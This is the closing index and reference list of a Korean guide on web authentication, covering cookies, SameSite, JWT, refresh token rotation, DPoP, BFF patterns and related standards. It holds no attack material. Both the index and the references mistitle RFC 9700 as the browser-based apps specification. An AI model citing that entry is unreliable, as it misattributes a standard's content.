│  mTLS ─────────────────────── 8.3 DPoP 대비 비교                          │
│                                                                             │
│  [N]                                                                        │
│  Netflix ──────────────────── 9.3 EAS + Passport 패턴                      │
│  Next.js BFF ──────────────── 7.3 App Router 구현                          │
│  nonce (DPoP) ─────────────── 8.2 서버 제공 일회용 값                      │
│                                                                             │
│  [O]                                                                        │
│  OAuth 2.1 ────────────────── 10.3 주요 변경사항                           │
│  Okta ─────────────────────── 9.5 sid→idx 마이그레이션                     │
│  Opaque Token ─────────────── 4.2 서버 측 조회 토큰                        │
│  OWASP Top 10:2025 ────────── 11.1 A07 Authentication Failures             │
│                                                                             │
│  [P]                                                                        │
│  Partitioned ──────────────── 2.2 CHIPS 속성                               │
│  Passkey ──────────────────── 10.1 대규모 채택 현황                        │
│  Passport 패턴 ────────────── 9.3 Netflix 내부 인증 전파                   │
│  Path 속성 ────────────────── 2.2 보안 경계가 아님                         │
│  PKCE ─────────────────────── 10.3 OAuth 2.1 필수화                        │
│  Private State Tokens ────── 10.2 봇 탐지용                               │
│  Proof-of-Possession ────── 8.1 DPoP 개념                                │
│  Prototype Pollution ────── 5.4 In-Memory 잔여 리스크                     │
│  Public Suffix List ──────── 3.4 eTLD 정의                                │
│                                                                             │
│  [R]                                                                        │
│  Refresh Token ────────────── 4.1 핵심 비교                                │
│  Refresh Token Rotation ──── 6. 전체 섹션                                 │
│  Related Website Sets ────── 10.7 브라우저 변화                            │
│  Reuse Detection ──────────── 6.3 자동 재사용 탐지                         │
│  RFC 6265 ─────────────────── 2.5 현행 쿠키 표준                           │
│  RFC 6265bis ──────────────── 2.5 후속 드래프트 (2025)                     │
│  RFC 7519 ─────────────────── 4.3 JWT 표준                                │
│  RFC 9449 ─────────────────── 8. DPoP 표준                                │
│  RFC 9635 ─────────────────── 10.4 GNAP 표준                              │
│  RFC 9700 ─────────────────── 6.5 브라우저 앱 OAuth 요구사항               │
│  RS256 ────────────────────── 4.3 권장 서명 알고리즘                       │
│                                                                             │
│  [S]                                                                        │
│  SameSite ─────────────────── 2.2 속성 설명, 3.4 진화 과정                 │
│  SameSite=Lax ─────────────── 3.4 Chrome 80 기본값                         │
│  SameSite=None ────────────── 2.2 Secure 필수                              │
│  SameSite=Strict ──────────── 3.5 CSRF 완벽 차단                           │
│  SAPISIDHASH ──────────────── 9.1 Google Origin 검증                       │
│  Schemeful Same-Site ──────── 3.4 http≠https                              │
│  __Secure- 접두사 ─────────── 2.3 쿠키 이름 접두사                         │
│  Secure 속성 ──────────────── 2.2 HTTPS 전용                               │
│  Sender-Constrained Token ── 6.5 RFC 9700 요구                            │
│  Service Worker ───────────── 5.6 네트워크 프록시 저장                     │
│  Session Fixation ─────────── 1. 용어 사전                                 │
│  sessionStorage ───────────── 5.2 탭별 격리                                │
│  Set-Cookie ───────────────── 2. 전체 섹션                                 │
│  Silent Authentication ────── 9.4 Auth0 비권장 전환                        │
│  SPIFFE/SPIRE ─────────────── 10.6 서비스 ID 표준                          │
│  Spotify ──────────────────── 9.6 Implicit Grant 제거                      │
│  Spring Cloud Gateway ────── 7.4 TokenRelay 설정                          │
│  Storage Access API ────────── 10.2 사용자 동의 기반 접근                  │
│  Supabase ─────────────────── 9.9 GoTrue 기반 인증                        │
│                                                                             │
│  [T]                                                                        │
│  Token Family ─────────────── 6.2 토큰 계보 추적                           │
│  Token Handler ────────────── 7.6 Curity 패턴                              │
│  TokenRelay ───────────────── 7.4 Spring Cloud Gateway 필터                │
│  Token Rotation ───────────── 6.1 일회용 RT 메커니즘                       │
│  Token Sidejacking ────────── 11.2 핑거프린트 방어                         │
│                                                                             │
│  [W]                                                                        │
│  Web Worker ───────────────── 5.5 최상위 권장 저장 전략                     │
│  WebAuthn ─────────────────── 10.1 Level 3 (2026)                          │
│  WebCrypto API ────────────── 8.2 DPoP 키 생성                            │
│                                                                             │
│  [X]                                                                        │
│  XSS ──────────────────────── 3.3 HttpOnly 보호 범위                       │
│                                                                             │
│  [Z]                                                                        │
│  Zero Trust ───────────────── 10.6 Identity-as-Perimeter                   │
│  Zuul ─────────────────────── 9.3 Netflix Gateway                          │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

참고 문헌 및 표준

  • RFC 6265: HTTP State Management Mechanism (2011)
  • RFC 7519: JSON Web Token (2015)
  • RFC 9449: OAuth 2.0 Demonstrating Proof of Possession (DPoP) (2023)
  • RFC 9635: Grant Negotiation and Authorization Protocol (GNAP) (2024)
  • RFC 9700: OAuth 2.0 for Browser-Based Applications (2025)
  • draft-ietf-httpbis-rfc6265bis-22: Cookies (2025)
  • draft-ietf-oauth-browser-based-apps-26: Browser-Based Apps (2025)
  • OWASP Top 10:2025
  • OWASP Session Management Cheat Sheet
  • OWASP JWT Security Cheat Sheet
  • Auth0 Token Best Practices (2025)
  • Curity Token Handler Documentation